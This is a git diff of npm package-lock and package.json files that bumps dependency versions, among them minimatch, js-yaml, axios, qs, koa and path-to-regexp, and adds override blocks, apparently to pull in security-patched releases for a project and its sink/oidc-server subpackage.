-      "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="
-    },
     "node_modules/resolve-from": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
@@ -1584,12 +1675,9 @@
   },
   "dependencies": {
     "@babel/runtime": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.9.tgz",
-      "integrity": "sha512-0CX6F+BI2s9dkUqr08KFrAIZgNFj75rdBU/DjCyYLIaV/quFjkk6T+EJ2LkZHyZTbEV4L5p97mNkUsHl2wLFAw==",
-      "requires": {
-        "regenerator-runtime": "^0.14.0"
-      }
+      "version": "7.29.2",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
+      "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g=="
     },
     "@eslint-community/eslint-utils": {
       "version": "4.4.1",
@@ -1618,9 +1706,36 @@
         "globals": "^13.19.0",
         "ignore": "^5.2.0",
         "import-fresh": "^3.2.1",
-        "js-yaml": "^4.1.0",
-        "minimatch": "^3.1.2",
+        "js-yaml": "^4.1.1",
+        "minimatch": "^3.1.3",
         "strip-json-comments": "^3.1.1"
+      },
+      "dependencies": {
+        "balanced-match": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+          "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+          "dev": true
+        },
+        "brace-expansion": {
+          "version": "1.1.14",
+          "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+          "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+          "dev": true,
+          "requires": {
+            "balanced-match": "^1.0.0",
+            "concat-map": "0.0.1"
+          }
+        },
+        "minimatch": {
+          "version": "3.1.5",
+          "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+          "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+          "dev": true,
+          "requires": {
+            "brace-expansion": "^1.1.7"
+          }
+        }
       }
     },
     "@eslint/js": {
@@ -1637,7 +1752,34 @@
       "requires": {
         "@humanwhocodes/object-schema": "^2.0.3",
         "debug": "^4.3.1",
-        "minimatch": "^3.0.5"
+        "minimatch": "^3.1.3"
+      },
+      "dependencies": {
+        "balanced-match": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+          "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+          "dev": true
+        },
+        "brace-expansion": {
+          "version": "1.1.14",
+          "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+          "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+          "dev": true,
+          "requires": {
+            "balanced-match": "^1.0.0",
+            "concat-map": "0.0.1"
+          }
+        },
+        "minimatch": {
+          "version": "3.1.5",
+          "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+          "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+          "dev": true,
+          "requires": {
+            "brace-expansion": "^1.1.7"
+          }
+        }
       }
     },
     "@humanwhocodes/module-importer": {
@@ -1683,7 +1825,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.1.tgz",
       "integrity": "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-collection": {
@@ -1691,7 +1833,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.0.3.tgz",
       "integrity": "sha512-3SzW+0PW7yBBoQlT8wNcGtaxaD0XSu0uLUFgrtHY08Acx05TaHaOmVLR73c0j/cqpDy53KBMO7s0dx2wmOIDIA==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-compose-refs": "1.0.1",
         "@radix-ui/react-context": "1.0.1",
         "@radix-ui/react-primitive": "1.0.3",
@@ -1703,7 +1845,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.1.tgz",
       "integrity": "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-context": {
@@ -1711,7 +1853,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.1.tgz",
       "integrity": "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-direction": {
@@ -1719,7 +1861,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.1.tgz",
       "integrity": "sha512-RXcvnXgyvYvBEOhCBuddKecVkoMiI10Jcm5cTI7abJRAHYfFxeu+FBQs/DvdxSYucxR5mna0dNsL6QFlds5TMA==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-id": {
@@ -1727,7 +1869,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.0.1.tgz",
       "integrity": "sha512-tI7sT/kqYp8p96yGWY1OAnLHrqDgzHefRBKQ2YAkBS5ja7QLcZ9Z/uY7bEjPUatf8RomoXM8/1sMj1IJaE5UzQ==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-use-layout-effect": "1.0.1"
       }
     },
@@ -1736,7 +1878,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.1.tgz",
       "integrity": "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-compose-refs": "1.0.1",
         "@radix-ui/react-use-layout-effect": "1.0.1"
       }
@@ -1746,7 +1888,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.3.tgz",
       "integrity": "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-slot": "1.0.2"
       }
     },
@@ -1755,7 +1897,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.1.3.tgz",
       "integrity": "sha512-x+yELayyefNeKeTx4fjK6j99Fs6c4qKm3aY38G3swQVTN6xMpsrbigC0uHs2L//g8q4qR7qOcww8430jJmi2ag==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/primitive": "1.0.1",
         "@radix-ui/react-compose-refs": "1.0.1",
         "@radix-ui/react-context": "1.0.1",
@@ -1773,7 +1915,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.0.4.tgz",
       "integrity": "sha512-2mUg5Mgcu001VkGy+FfzZyzbmuUWzgWkj3rvv4yu+mLw03+mTzbxZHvfcGyFp2b8EkQeMkpRQ5FiA2Vr2O6TeQ==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/primitive": "1.0.1",
         "@radix-ui/react-collection": "1.0.3",
         "@radix-ui/react-compose-refs": "1.0.1",
@@ -1790,7 +1932,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.2.tgz",
       "integrity": "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-compose-refs": "1.0.1"
       }
     },
@@ -1799,7 +1941,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.1.tgz",
       "integrity": "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-use-controllable-state": {
@@ -1807,7 +1949,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.0.1.tgz",
       "integrity": "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-use-callback-ref": "1.0.1"
       }
     },
@@ -1816,7 +1958,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.1.tgz",
       "integrity": "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-use-previous": {
@@ -1824,7 +1966,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.0.1.tgz",
       "integrity": "sha512-cV5La9DPwiQ7S0gf/0qiD6YgNqM5Fk97Kdrlc5yBcrF3jyEZQwm7vYFqMo4IfeHgJXsRaMvLABFtd0OVEmZhDw==",
       "requires": {
-        "@babel/runtime": "^7.13.10"
+        "@babel/runtime": "^7.26.10"
       }
     },
     "@radix-ui/react-use-size": {
@@ -1832,7 +1974,7 @@
       "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.0.1.tgz",
       "integrity": "sha512-ibay+VqrgcaI6veAojjofPATwledXiSmX+C0KrBk/xgpX9rBzPV3OsfwlhQdUOFbh+LKQorLYT+xTXW9V8yd0g==",
       "requires": {
-        "@babel/runtime": "^7.13.10",
+        "@babel/runtime": "^7.26.10",
         "@radix-ui/react-use-layout-effect": "1.0.1"
       }
     },
@@ -1862,9 +2004,9 @@
       "requires": {}
     },
     "ajv": {
-      "version": "6.12.6",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
-      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
+      "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
       "dev": true,
       "requires": {
         "fast-deep-equal": "^3.1.1",
@@ -1894,22 +2036,6 @@
       "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
       "dev": true
     },
-    "balanced-match": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
-      "dev": true
-    },
-    "brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "dev": true,
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
     "callsites": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
@@ -2023,15 +2149,42 @@
         "imurmurhash": "^0.1.4",
         "is-glob": "^4.0.0",
         "is-path-inside": "^3.0.3",
-        "js-yaml": "^4.1.0",
+        "js-yaml": "^4.1.1",
         "json-stable-stringify-without-jsonify": "^1.0.1",
         "levn": "^0.4.1",
         "lodash.merge": "^4.6.2",
-        "minimatch": "^3.1.2",
+        "minimatch": "^3.1.3",
         "natural-compare": "^1.4.0",
         "optionator": "^0.9.3",
         "strip-ansi": "^6.0.1",
         "text-table": "^0.2.0"
+      },
+      "dependencies": {
+        "balanced-match": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+          "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+          "dev": true
+        },
+        "brace-expansion": {
+          "version": "1.1.14",
+          "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+          "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+          "dev": true,
+          "requires": {
+            "balanced-match": "^1.0.0",
+            "concat-map": "0.0.1"
+          }
+        },
+        "minimatch": {
+          "version": "3.1.5",
+          "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+          "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+          "dev": true,
+          "requires": {
+            "brace-expansion": "^1.1.7"
+          }
+        }
       }
     },
     "eslint-scope": {
@@ -2143,14 +2296,14 @@
       "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
       "dev": true,
       "requires": {
-        "flatted": "^3.1.0",
+        "flatted": "^3.4.2",
         "rimraf": "^3.0.2"
       }
     },
     "flatted": {
-      "version": "3.2.7",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
-      "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==",
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",
+      "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==",
       "dev": true
     },
     "fs.realpath": {
@@ -2168,9 +2321,36 @@
         "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
         "inherits": "2",
-        "minimatch": "^3.1.1",
+        "minimatch": "^3.1.3",
         "once": "^1.3.0",
         "path-is-absolute": "^1.0.0"
+      },
+      "dependencies": {
+        "balanced-match": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+          "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+          "dev": true
+        },
+        "brace-expansion": {
+          "version": "1.1.14",
+          "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+          "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+          "dev": true,
+          "requires": {
+            "balanced-match": "^1.0.0",
+            "concat-map": "0.0.1"
+          }
+        },
+        "minimatch": {
+          "version": "3.1.5",
+          "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+          "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+          "dev": true,
+          "requires": {
+            "brace-expansion": "^1.1.7"
+          }
+        }
       }
     },
     "glob-parent": {
@@ -2281,9 +2461,9 @@
       "peer": true
     },
     "js-yaml": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
-      "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+      "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
       "dev": true,
       "requires": {
         "argparse": "^2.0.1"
@@ -2335,15 +2515,6 @@
         "js-tokens": "^3.0.0 || ^4.0.0"
       }
     },
-    "minimatch": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
-      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
-      "dev": true,
-      "requires": {
-        "brace-expansion": "^1.1.7"
-      }
-    },
     "ms": {
       "version": "2.1.3",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
@@ -2461,11 +2632,6 @@
         "scheduler": "^0.23.0"
       }
     },
-    "regenerator-runtime": {
-      "version": "0.14.1",
-      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz",
-      "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="
-    },
     "resolve-from": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
diff --git a/package.json b/package.json
index e8190a2e88e..0e94b6a6724 100644
--- a/package.json
+++ b/package.json
@@ -13,6 +13,12 @@
   "scripts": {
     "prepare": "husky install"
   },
+  "overrides": {
+    "flatted": "^3.4.2",
+    "minimatch": "^3.1.3",
+    "js-yaml": "^4.1.1",
+    "@babel/runtime": "^7.26.10"
+  },
   "devDependencies": {
     "@types/uuid": "^9.0.7",
     "eslint": "^8.57.1",
diff --git a/sink/oidc-server/package-lock.json b/sink/oidc-server/package-lock.json
index c7c4776a51a..4fd79ff0e03 100644
--- a/sink/oidc-server/package-lock.json
+++ b/sink/oidc-server/package-lock.json
@@ -9,7 +9,7 @@
       "version": "1.0.0",
       "license": "ISC",
       "dependencies": {
-        "axios": "^1.12.0",
+        "axios": "^1.15.0",
         "dotenv": "^16.4.7",
         "express": "^4.21.2",
         "form-data": "^4.0.2",
@@ -68,9 +68,9 @@
       "license": "MIT"
     },
     "node_modules/@koa/router/node_modules/path-to-regexp": {
-      "version": "8.3.0",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.3.0.tgz",
-      "integrity": "sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA==",
+      "version": "8.4.2",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz",
+      "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==",
       "license": "MIT",
       "funding": {
         "type": "opencollective",
@@ -103,14 +103,14 @@
       "license": "MIT"
     },
     "node_modules/axios": {
-      "version": "1.12.2",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.2.tgz",
-      "integrity": "sha512-vMJzPewAlRyOgxV2dU0Cuz2O8zzzx9VYtbJOaBgXFeLc4IV/Eg50n4LowmehOOR61S8ZMpc2K5Sa7g6A4jfkUw==",
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz",
+      "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==",
       "license": "MIT",
       "dependencies": {
-        "follow-redirects": "^1.15.6",
-        "form-data": "^4.0.4",
-        "proxy-from-env": "^1.1.0"
+        "follow-redirects": "^1.15.11",
+        "form-data": "^4.0.5",
+        "proxy-from-env": "^2.1.0"
       }
     },
     "node_modules/body-parser": {
@@ -463,9 +463,9 @@
       }
     },
     "node_modules/follow-redirects": {
-      "version": "1.15.9",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
-      "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
+      "version": "1.16.0",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz",
+      "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==",
       "funding": [
         {
           "type": "individual",
@@ -483,9 +483,9 @@
       }
     },
     "node_modules/form-data": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
-      "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
+      "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==",
       "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
@@ -737,13 +737,13 @@
       }
     },
     "node_modules/koa": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/koa/-/koa-3.0.1.tgz",
-      "integrity": "sha512-oDxVkRwPOHhGlxKIDiDB2h+/l05QPtefD7nSqRgDfZt8P+QVYFWjfeK8jANf5O2YXjk8egd7KntvXKYx82wOag==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/koa/-/koa-3.2.0.tgz",
+      "integrity": "sha512-TrM4/tnNY7uJ1aW55sIIa+dqBvc4V14WRIAlGcWat9wV5pRS9Wr5Zk2ZTjQP1jtfIHDoHiSbPuV08P0fUZo2pg==",
       "license": "MIT",
       "dependencies": {
         "accepts": "^1.3.8",
-        "content-disposition": "~0.5.4",
+        "content-disposition": "~1.0.1",
         "content-type": "^1.0.5",
         "cookies": "~0.9.1",
         "delegates": "^1.0.0",
@@ -771,6 +771,19 @@
       "integrity": "sha512-8ODW8TrDuMYvXRwra/Kh7/rJo9BtOfPc6qO8eAfC80CnCvSjSl0bkRM24X6/XBBEyj0v1nRUQ1LyOy3dbqOWXw==",
       "license": "MIT"
     },
+    "node_modules/koa/node_modules/content-disposition": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.1.tgz",
+      "integrity": "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
     "node_modules/koa/node_modules/media-typer": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz",
@@ -1022,9 +1035,9 @@
       }
     },
     "node_modules/path-to-regexp": {
-      "version": "0.1.12",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
-      "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==",
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.13.tgz",
+      "integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==",
       "license": "MIT"
     },
     "node_modules/proxy-addr": {
@@ -1041,18 +1054,21 @@
       }
     },
     "node_modules/proxy-from-env": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
-      "license": "MIT"
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
+      "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      }
     },
     "node_modules/qs": {
-      "version": "6.13.0",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
-      "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
+      "version": "6.15.1",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz",
+      "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==",
       "license": "BSD-3-Clause",
       "dependencies": {
-        "side-channel": "^1.0.6"
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">=0.6"
diff --git a/sink/oidc-server/package.json b/sink/oidc-server/package.json
index ebeaf071dba..de6f62cd8f5 100644
--- a/sink/oidc-server/package.json
+++ b/sink/oidc-server/package.json
@@ -10,8 +10,21 @@
   "author": "",
   "license": "ISC",
   "description": "",
+  "overrides": {
+    "express": {
+      "path-to-regexp": "0.1.13",
+      "qs": ">=6.14.2"
+    },
+    "@koa/router": {
+      "path-to-regexp": "^8.4.0"
+    },
+    "oidc-provider": {
+      "koa": ">=3.1.2"
+    },
+    "qs": ">=6.14.2"
+  },
   "dependencies": {
-    "axios": "^1.12.0",
+    "axios": "^1.15.0",
     "dotenv": "^16.4.7",
     "express": "^4.21.2",
     "form-data": "^4.0.2",